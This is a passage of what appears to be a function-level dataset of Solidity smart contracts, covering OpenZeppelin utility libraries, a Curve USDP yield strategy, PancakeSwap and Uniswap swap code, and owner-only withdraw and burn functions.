> 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint a, uint b, string memory errorMessage ) internal pure returns (uint) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint a, uint b, string memory errorMessage ) internal pure returns (uint) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint a, uint b, string memory errorMessage ) internal pure returns (uint) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer( IERC20 token, address to, uint value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint value ) internal { uint newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint value ) internal { uint newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File: contracts/protocol/IStrategyERC20_V3.sol /* version 1.3.0 Changes listed here do not affect interaction with other contracts (Vault and Controller) - remove functions that are not called by other contracts (vaults and controller) */ interface IStrategyERC20_V3 { function admin() external view returns (address); function controller() external view returns (address); function vault() external view returns (address); /* @notice Returns address of underlying token (ETH or ERC20) @dev Return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE for ETH strategy */ function underlying() external view returns (address); /* @notice Returns total amount of underlying token transferred from vault */ function totalDebt() external view returns (uint); /* @notice Returns amount of underlying token locked in this contract @dev Output may vary depending on price of liquidity provider token where the underlying token is invested */ function totalAssets() external view returns (uint); /* @notice Deposit `amount` underlying token @param amount Amount of underlying token to deposit */ function deposit(uint _amount) external; /* @notice Withdraw `_amount` underlying token @param amount Amount of underlying token to withdraw */ function withdraw(uint _amount) external; /* @notice Withdraw all underlying token from strategy */ function withdrawAll() external; /* @notice Sell any staking rewards for underlying */ function harvest() external; /* @notice Increase total debt if totalAssets > totalDebt */ function skim() external; /* @notice Exit from strategy, transfer all underlying tokens back to vault */ function exit() external; /* @notice Transfer token accidentally sent here to admin @param _token Address of token to transfer @dev _token must not be equal to underlying token */ function sweep(address _token) external; } // File: contracts/protocol/IController.sol interface IController { function ADMIN_ROLE() external view returns (bytes32); function HARVESTER_ROLE() external view returns (bytes32); function admin() external view returns (address); function treasury() external view returns (address); function setAdmin(address _admin) external; function setTreasury(address _treasury) external; function grantRole(bytes32 _role, address _addr) external; function revokeRole(bytes32 _role, address _addr) external; /* @notice Set strategy for vault @param _vault Address of vault @param _strategy Address of strategy @param _min Minimum undelying token current strategy must return. Prevents slippage */ function setStrategy( address _vault, address _strategy, uint _min ) external; // calls to strategy /* @notice Invest token in vault into strategy @param _vault Address of vault */ function invest(address _vault) external; function harvest(address _strategy) external; function skim(address _strategy) external; /* @notice Withdraw from strategy to vault @param _strategy Address of strategy @param _amount Amount of underlying token to withdraw @param _min Minimum amount of underlying token to withdraw */ function withdraw( address _strategy, uint _amount, uint _min ) external; /* @notice Withdraw all from strategy to vault @param _strategy Address of strategy @param _min Minimum amount of underlying token to withdraw */ function withdrawAll(address _strategy, uint _min) external; /* @notice Exit from strategy @param _strategy Address of strategy @param _min Minimum amount of underlying token to withdraw */ function exit(address _strategy, uint _min) external; } // File: contracts/StrategyERC20_V3.sol /* Changes - remove functions related to slippage and delta - add keeper - remove _increaseDebt - remove _decreaseDebt */ // used inside harvest abstract contract StrategyERC20_V3 is IStrategyERC20_V3 { using SafeERC20 for IERC20; using SafeMath for uint; address public override admin; address public nextAdmin; address public override controller; address public immutable override vault; address public immutable override underlying; // some functions specific to strategy cannot be called by controller // so we introduce a new role address public keeper; // total amount of underlying transferred from vault uint public override totalDebt; // performance fee sent to treasury when harvest() generates profit uint public performanceFee = 500; uint private constant PERFORMANCE_FEE_CAP = 2000; // upper limit to performance fee uint internal constant PERFORMANCE_FEE_MAX = 10000; // Force exit, in case normal exit fails bool public forceExit; constructor( address _controller, address _vault, address _underlying, address _keeper ) public { require(_controller != address(0), "controller = zero address"); require(_vault != address(0), "vault = zero address"); require(_underlying != address(0), "underlying = zero address"); require(_keeper != address(0), "keeper = zero address"); admin = msg.sender; controller = _controller; vault = _vault; underlying = _underlying; keeper = _keeper; } modifier onlyAdmin() { require(msg.sender == admin, "!admin"); _; } modifier onlyAuthorized() { require( msg.sender == admin || msg.sender == controller || msg.sender == vault || msg.sender == keeper, "!authorized" ); _; } function setNextAdmin(address _nextAdmin) external onlyAdmin { require(_nextAdmin != admin, "next admin = current"); // allow next admin = zero address (cancel next admin) nextAdmin = _nextAdmin; } function acceptAdmin() external { require(msg.sender == nextAdmin, "!next admin"); admin = msg.sender; nextAdmin = address(0); } function setController(address _controller) external onlyAdmin { require(_controller != address(0), "controller = zero address"); controller = _controller; } function setKeeper(address _keeper) external onlyAdmin { require(_keeper != address(0), "keeper = zero address"); keeper = _keeper; } function setPerformanceFee(uint _fee) external onlyAdmin { require(_fee <= PERFORMANCE_FEE_CAP, "performance fee > cap"); performanceFee = _fee; } function setForceExit(bool _forceExit) external onlyAdmin { forceExit = _forceExit; } function totalAssets() external view virtual override returns (uint); function deposit(uint) external virtual override; function withdraw(uint) external virtual override; function withdrawAll() external virtual override; function harvest() external virtual override; function skim() external virtual override; function exit() external virtual override; function sweep(address) external virtual override; } // File: contracts/interfaces/uniswap/Uniswap.sol interface Uniswap { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } // File: contracts/interfaces/curve/LiquidityGaugeV2.sol interface LiquidityGaugeV2 { function deposit(uint) external; function balanceOf(address) external view returns (uint); function withdraw(uint) external; function claim_rewards() external; } // File: contracts/interfaces/curve/Minter.sol // https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/Minter.vy interface Minter { function mint(address) external; } // File: contracts/interfaces/curve/StableSwapUsdp.sol interface StableSwapUsdp { function get_virtual_price() external view returns (uint); /* 0 USDP 1 3CRV */ function balances(uint index) external view returns (uint); } // File: contracts/interfaces/curve/StableSwap3Pool.sol interface StableSwap3Pool { function get_virtual_price() external view returns (uint); function add_liquidity(uint[3] calldata amounts, uint min_mint_amount) external; function remove_liquidity_one_coin( uint token_amount, int128 i, uint min_uamount ) external; function balances(uint index) external view returns (uint); } // File: contracts/interfaces/curve/DepositUsdp.sol interface DepositUsdp { /* 0 USDP 1 DAI 2 USDC 3 USDT */ function add_liquidity(uint[4] memory amounts, uint min) external returns (uint); // @dev returns amount of underlying token withdrawn function remove_liquidity_one_coin( uint amount, int128 index, uint min ) external returns (uint); } // File: contracts/strategies/StrategyCurveUsdp.sol contract StrategyCurveUsdp is StrategyERC20_V3 { event Deposit(uint amount); event Withdraw(uint amount); event Harvest(uint profit); event Skim(uint profit); // Uniswap // address private constant UNISWAP = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address internal constant USDP = 0x1456688345527bE1f37E9e627DA0837D6f08C925; address internal constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDP = 0 | DAI = 1 | USDC = 2 | USDT = 3 uint private immutable UNDERLYING_INDEX; // precision to convert 10 ** 18 to underlying decimals uint[4] private PRECISION_DIV = [1, 1, 1e12, 1e12]; // precision div of underlying token (used to save gas) uint private immutable PRECISION_DIV_UNDERLYING; // Curve // // StableSwap3Pool address private constant BASE_POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; // StableSwap address private constant SWAP = 0x42d7025938bEc20B69cBae5A77421082407f053A; // liquidity provider token (USDP / 3CRV) address private constant LP = 0x7Eb40E450b9655f4B3cC4259BCC731c63ff55ae6; // Deposit address private constant DEPOSIT = 0x3c8cAee4E09296800f8D29A68Fa3837e2dae4940; // LiquidityGaugeV2 address private constant GAUGE = 0x055be5DDB7A925BfEF3417FC157f53CA77cA7222; // Minter address private constant MINTER = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // CRV address private constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52; // prevent slippage from deposit / withdraw uint public slippage = 100; uint private constant SLIPPAGE_MAX = 10000; /* Numerator used to update totalDebt if totalAssets() is <= totalDebt * delta / DELTA_MIN */ uint public delta = 10050; uint private constant DELTA_MIN = 10000; // enable to claim LiquidityGaugeV2 rewards bool public shouldClaimRewards; constructor( address _controller, address _vault, address _underlying, uint _underlyingIndex, address _keeper ) public StrategyERC20_V3(_controller, _vault, _underlying, _keeper) { UNDERLYING_INDEX = _underlyingIndex; PRECISION_DIV_UNDERLYING = PRECISION_DIV[_underlyingIndex]; // Infinite approvals should be safe as long as only small amount // of underlying is stored in this contract. // Approve DepositUsdp.add_liquidity IERC20(USDP).safeApprove(DEPOSIT, type(uint).max); IERC20(DAI).safeApprove(DEPOSIT, type(uint).max); IERC20(USDC).safeApprove(DEPOSIT, type(uint).max); IERC20(USDT).safeApprove(DEPOSIT, type(uint).max); // Approve LiquidityGaugeV2.deposit IERC20(LP).safeApprove(GAUGE, type(uint).max); // approve DepositUsdp.remove_liquidity IERC20(LP).safeApprove(DEPOSIT, type(uint).max); // These tokens are never held by this contract // so the risk of them getting stolen is minimal IERC20(CRV).safeApprove(UNISWAP, type(uint).max); } /* @notice Set max slippage for deposit and withdraw from Curve pool @param _slippage Max amount of slippage allowed */ function setSlippage(uint _slippage) external onlyAdmin { require(_slippage <= SLIPPAGE_MAX, "slippage > max"); slippage = _slippage; } /* @notice Set delta, used to calculate difference between totalAsset and totalDebt @param _delta Numerator of delta / DELTA_MIN */ function setDelta(uint _delta) external onlyAdmin { require(_delta >= DELTA_MIN, "delta < min"); delta = _delta; } /* @notice Activate or decactivate LiquidityGaugeV2.claim_rewards() */ function setShouldClaimRewards(bool _shouldClaimRewards) external onlyAdmin { shouldClaimRewards = _shouldClaimRewards; } function _totalAssets() private view returns (uint) { uint lpBal = LiquidityGaugeV2(GAUGE).balanceOf(address(this)); uint pricePerShare = StableSwapUsdp(SWAP).get_virtual_price(); return lpBal.mul(pricePerShare) / (PRECISION_DIV_UNDERLYING * 1e18); } function totalAssets() external view override returns (uint) { return _totalAssets(); } function _increaseDebt(uint _amount) private returns (uint) { // USDT has transfer fee so we need to check balance after transfer uint balBefore = IERC20(underlying).balanceOf(address(this)); IERC20(underlying).safeTransferFrom(vault, address(this), _amount); uint balAfter = IERC20(underlying).balanceOf(address(this)); uint diff = balAfter.sub(balBefore); totalDebt = totalDebt.add(diff); return diff; } function _decreaseDebt(uint _amount) private returns (uint) { // USDT has transfer fee so we need to check balance after transfer uint balBefore = IERC20(underlying).balanceOf(address(this)); IERC20(underlying).safeTransfer(vault, _amount); uint balAfter = IERC20(underlying).balanceOf(address(this)); uint diff = balBefore.sub(balAfter); if (diff >= totalDebt) { totalDebt = 0; } else { totalDebt -= diff; } return diff; } /* @notice Deposit underlying token into Curve @param _token Address of underlying token @param _index Index of underlying token */ function _deposit(address _token, uint _index) private { // deposit underlying token, get LP uint bal = IERC20(_token).balanceOf(address(this)); if (bal > 0) { // mint LP uint[4] memory amounts; amounts[_index] = bal; /* shares = underlying amount * precision div * 1e18 / price per share */ uint pricePerShare = StableSwapUsdp(SWAP).get_virtual_price(); uint shares = bal.mul(PRECISION_DIV[_index]).mul(1e18).div(pricePerShare); uint min = shares.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX; uint lpAmount = DepositUsdp(DEPOSIT).add_liquidity(amounts, min); // stake into LiquidityGaugeV2 if (lpAmount > 0) { LiquidityGaugeV2(GAUGE).deposit(lpAmount); } } } function deposit(uint _amount) external override onlyAuthorized { require(_amount > 0, "deposit = 0"); uint diff = _increaseDebt(_amount); _deposit(underlying, UNDERLYING_INDEX); emit Deposit(diff); } function _getTotalShares() private view returns (uint) { return LiquidityGaugeV2(GAUGE).balanceOf(address(this)); } function _getShares( uint _amount, uint _total, uint _totalShares ) private pure returns (uint) { /* calculate shares to withdraw w = amount of underlying to withdraw U = total redeemable underlying s = shares to withdraw P = total shares deposited into external liquidity pool w / U = s / P s = w / U * P */ if (_total > 0) { // avoid rounding errors and cap shares to be <= total shares if (_amount >= _total) { return _totalShares; } return _amount.mul(_totalShares) / _total; } return 0; } /* @notice Withdraw underlying token from Curve @param _amount Amount of underlying token to withdraw @return Actual amount of underlying token that was withdrawn */ function _withdraw(uint _amount) private returns (uint) { require(_amount > 0, "withdraw = 0"); uint total = _totalAssets(); if (_amount >= total) { _amount = total; } uint totalShares = _getTotalShares(); uint shares = _getShares(_amount, total, totalShares); if (shares > 0) { // withdraw LP from LiquidityGaugeV2 LiquidityGaugeV2(GAUGE).withdraw(shares); uint min = _amount.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX; // withdraw creates LP dust return DepositUsdp(DEPOSIT).remove_liquidity_one_coin( shares, int128(UNDERLYING_INDEX), min ); // Now we have underlying } return 0; } function withdraw(uint _amount) external override onlyAuthorized { uint withdrawn = _withdraw(_amount); if (withdrawn < _amount) { _amount = withdrawn; } // if withdrawn > _amount, excess will be deposited when deposit() is called uint diff; if (_amount > 0) { diff = _decreaseDebt(_amount); } emit Withdraw(diff); } function _withdrawAll() private { _withdraw(type(uint).max); // There may be dust so re-calculate balance uint bal = IERC20(underlying).balanceOf(address(this)); if (bal > 0) { IERC20(underlying).safeTransfer(vault, bal); totalDebt = 0; } emit Withdraw(bal); } function withdrawAll() external override onlyAuthorized { _withdrawAll(); } /* @notice Returns address and index of token with lowest balance in Curve pool */ function _getMostPremiumToken() private view returns (address, uint) { // WARNING: USDP disabled - Low ETH / USDP liquidity // meta pool balances // uint[2] memory balances; // balances[0] = StableSwapUsdp(SWAP).balances(0); // USDP // balances[1] = StableSwapUsdp(SWAP).balances(1); // 3CRV // if (balances[0] <= balances[1]) { // return (USDP, 0); // } else { // base pool balances uint[3] memory baseBalances; baseBalances[0] = StableSwap3Pool(BASE_POOL).balances(0); // DAI baseBalances[1] = StableSwap3Pool(BASE_POOL).balances(1).mul(1e12); // USDC baseBalances[2] = StableSwap3Pool(BASE_POOL).balances(2).mul(1e12); // USDT /* DAI 1 USDC 2 USDT 3 */ // DAI if (baseBalances[0] <= baseBalances[1] && baseBalances[0] <= baseBalances[2]) { return (DAI, 1); } // USDC if (baseBalances[1] <= baseBalances[0] && baseBalances[1] <= baseBalances[2]) { return (USDC, 2); } return (USDT, 3); } /* @dev Uniswap fails with zero address so no check is necessary here */ function _swap( address _from, address _to, uint _amount ) private { // create dynamic array with 3 elements address[] memory path = new address[](3); path[0] = _from; path[1] = WETH; path[2] = _to; Uniswap(UNISWAP).swapExactTokensForTokens( _amount, 1, path, address(this), block.timestamp ); } function _claimRewards(address _token) private { if (shouldClaimRewards) { LiquidityGaugeV2(GAUGE).claim_rewards(); // Rewarded tokens will be managed by admin via calling sweep() } // claim CRV Minter(MINTER).mint(GAUGE); uint crvBal = IERC20(CRV).balanceOf(address(this)); // Swap only if CRV >= 1, otherwise swap may fail if (crvBal >= 1e18) { _swap(CRV, _token, crvBal); // Now this contract has token } } /* @notice Claim CRV and deposit most premium token into Curve */ function harvest() external override onlyAuthorized { (address token, uint index) = _getMostPremiumToken(); _claimRewards(token); uint bal = IERC20(token).balanceOf(address(this)); if (bal > 0) { // transfer fee to treasury uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX; if (fee > 0) { address treasury = IController(controller).treasury(); require(treasury != address(0), "treasury = 0 address"); IERC20(token).safeTransfer(treasury, fee); } _deposit(token, index); emit Harvest(bal.sub(fee)); } } function skim() external override onlyAuthorized { uint total = _totalAssets(); require(total > totalDebt, "total underlying < debt"); uint profit = total - totalDebt; // protect against price manipulation uint max = totalDebt.mul(delta) / DELTA_MIN; if (total <= max) { /* total underlying is within reasonable bounds, probaly no price manipulation occured. */ /* If we were to withdraw profit followed by deposit, this would increase the total debt roughly by the profit. Withdrawing consumes high gas, so here we omit it and directly increase debt, as if withdraw and deposit were called. */ // total debt = total debt + profit = total totalDebt = total; } else { /* Possible reasons for total underlying > max 1. total debt = 0 2. total underlying really did increase over max 3. price was manipulated */ uint withdrawn = _withdraw(profit); if (withdrawn > 0) { IERC20(underlying).safeTransfer(vault, withdrawn); } } emit Skim(profit); } function exit() external override onlyAuthorized { if (forceExit) { return; } _claimRewards(underlying); _withdrawAll(); } function sweep(address _token) external override onlyAdmin { require(_token != underlying, "protected token"); require(_token != GAUGE, "protected token"); IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this))); } } // File: contracts/strategies/StrategyCurveUsdpDai.sol contract StrategyCurveUsdpDai is StrategyCurveUsdp { constructor( address _controller, address _vault, address _keeper ) public StrategyCurveUsdp(_controller, _vault, DAI, 1, _keeper) {} }
/ withdraw LP from LiquidityGaugeV2 withdraw creates LP dust Now we have underlying
function _withdraw(uint _amount) private returns (uint) { require(_amount > 0, "withdraw = 0"); uint total = _totalAssets(); if (_amount >= total) { _amount = total; } uint totalShares = _getTotalShares(); uint shares = _getShares(_amount, total, totalShares); if (shares > 0) { LiquidityGaugeV2(GAUGE).withdraw(shares); uint min = _amount.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX; return DepositUsdp(DEPOSIT).remove_liquidity_one_coin( shares, int128(UNDERLYING_INDEX), min ); } return 0; }
1,663,800
./full_match/5/0x029159ceCBcD830022de23ED4D57945f6dC46880/sources/project_/contracts/NBPresale.sol
Withdraw USDT from the contract to the sender's wallet. Only callable by the owner/
function withdrawUsdt() public onlyOwner nonReentrant { uint256 balance = usdt.balanceOf(address(this)); usdt.transfer(msg.sender, balance); }
1,923,756
./full_match/56/0xe69dec5312c1cc07950a9a1EC8a194567F15C40D/sources/@pancakeswap/v3-periphery/contracts/interfaces/IswapRouter.sol
Router token swapping functionality Functions for swapping tokens via PancakeSwap V3
interface ISwapRouter is IPancakeV3SwapCallback { pragma solidity >=0.7.5; struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } }
3,234,734
./partial_match/4/0xD978E2881C07813A010Ed1403F3b1ADAc72545D1/sources/Exchange.sol
Burns In Tokens _amount - In Token units/
function burnInTokens ( uint256 _amount ) public onlyOwner { require(_amount != 0, "amount is 0"); inToken.burn(_amount); emit Burned(msg.sender, _amount); }
8,716,057
// SPDX-License-Identifier: MIT pragma solidity >=0.4.21 <0.7.0; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router02.sol"; contract JcamUniswap { address internal constant UNISWAP_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 public uniswapRouter; address private multiDaiRopsten = 0xaD6D458402F60fD3Bd25163575031ACDce07538D; constructor() public { uniswapRouter = IUniswapV2Router02(UNISWAP_ROUTER_ADDRESS); } function convertEthToDai(uint daiAmount) public payable { uint deadline = now + 15; // using 'now' for convenience, for mainnet pass deadline from frontend! uniswapRouter.swapETHForExactTokens.value(msg.value)(daiAmount, getPathForETHtoDAI(), address(this), deadline); // refund leftover ETH to user // msg.sender.call.value(address(this).balance)(""); } function getEstimatedETHforDAI(uint daiAmount) public view returns (uint[] memory) { return uniswapRouter.getAmountsIn(daiAmount, getPathForETHtoDAI()); } function getPathForETHtoDAI() private view returns (address[] memory) { address[] memory path = new address[](2); path[0] = uniswapRouter.WETH(); path[1] = multiDaiRopsten; return path; } // important to receive ETH receive() payable external {} }
refund leftover ETH to user msg.sender.call.value(address(this).balance)("");
function convertEthToDai(uint daiAmount) public payable { uniswapRouter.swapETHForExactTokens.value(msg.value)(daiAmount, getPathForETHtoDAI(), address(this), deadline); }
1,084,491
./full_match/1/0x207C6F6fD67310Cfaa30A170C0737d7258c4662E/sources/contracts/OBABabes.sol
Mint NFTs to the specified recipient
function airdropTokens(address[] memory recipients, uint256[] memory _quantities) public onlyOwner { require(recipients.length > 0, "Recipients array must not be empty"); require(recipients.length == _quantities.length, "Data length mismatch"); uint256 total = 0; for (uint256 i = 0; i < _quantities.length; i++) { total+=_quantities[i]; } require((totalSupply() + total) <= MAX_SUPPLY, "OBABABES :: Beyond Max Supply"); for (uint256 i = 0; i < recipients.length; i++) { require(recipients[i] != address(0), "Invalid recipient address"); require(_quantities[i] > 0, "Quantity must be greater than zero"); _safeMint(recipients[i], _quantities[i]); } }
17,002,112
